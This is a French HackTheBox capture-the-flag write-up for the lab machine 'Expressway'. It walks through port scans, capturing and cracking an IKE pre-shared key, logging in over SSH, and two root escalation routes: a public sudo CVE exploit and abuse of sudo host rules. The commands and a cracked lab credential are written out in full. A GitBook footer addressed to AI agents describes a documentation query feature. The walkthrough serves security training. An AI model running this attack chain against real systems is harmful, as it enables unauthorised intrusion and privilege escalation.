> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md). # Compte rendu HackTheBox d’Expressway {% embed url="" %} {% hint style="warning" %} **Compétences :** * Connaissances sur l’énumération et l’exploitation du service IKE * Énumération du système Linux * Exploitation de CVE-2025-32462 {% endhint %} #### **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

#### **Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

#### **Découverte des ports ouverts avec Nmap :** La première étape consiste à identifier les services exposés. Nous effectuons un scan rapide des ports TCP et UDP. #### Scan TCP ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort ``` #### Scan UDP ```bash nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP ```

#### Analyse des services et des versions Après avoir identifié les ports, nous examinons plus en détail les services spécifiques : * TCP : Port 22 (SSH) * UDP : Ports 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T) ```bash nmap -sCV -p22 10.129.238.52 -oN targeted ``` ```bash nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP ```

### Intrusion : exploitation IKE (VPN) Le port UDP 500 indique un service d’échange de clés (IKE). Nous tentons de capturer la clé pré-partagée (PSK) en utilisant le mode agressif. #### Identification de l’ID Nous utilisons `ike-scan` pour vérifier si le mode agressif est activé :. ```bash sudo ike-scan -A 10.129.238.52 ``` * Résultat : négociation réussie. ID détecté : `ike@expressway.htb`. #### Capturer et casser le hachage du PSK

```bash sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52 ``` Nous extrayons le hachage pour tenter une attaque par force brute avec le `rockyou.txt` dictionnaire. ```bash hashcat expressway.psk /usr/share/wordlists/rockyou.txt ``` * Identifiants obtenus : `ike`: `freakingrockstarontheroad`

#### Accès initial Connexion via SSH avec les identifiants trouvés : ```bash ssh ike@10.129.238.52 ``` ## Élévation de privilèges Deux vecteurs ont été confirmés pour élever les privilèges jusqu'à root. ### Méthode 1 : CVE-2025-32463 (vulnérabilité sudo) En vérifiant la version de sudo avec `sudo -V`, nous voyons que la version est la 1.9.17, qui est vulnérable. {% embed url="" %}

1. Cloner l'exploit : ```bash git clone https://github.com/MohamedKarrab/CVE-2025-32463.git cd CVE-2025-32463 ``` Exécution des scripts de compilation et d'exploitation : ```bash ./mkall-dynamic.sh ./get_root.sh ```

### Méthode 2 : abus du groupe Proxy et des noms d'hôte En auditant les groupes de l'utilisateur, nous constatons que nous appartenons au groupe proxy. Nous recherchons les fichiers associés :

En examinant les journaux Squid (`/var/log/squid/access.log.1`) ```bash find / -group proxy 2>/dev/null ```

Nous découvrons un sous-domaine interne : `offramp.expressway.htb`. ```bash cat /var/log/squid/access.log.1 | grep httpp ```

En vérifiant les politiques sudo pour ce domaine spécifique, nous découvrons que nous avons tous les droits : ```bash sudo -h offramp.expressway.htb -l ``` Résultat : nous pouvons exécuter n'importe quelle commande en tant que root dans ce contexte d'hôte.

**Exécution finale pour root :** ```bash sudo -h offramp.expressway.htb /bin/bash ```

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.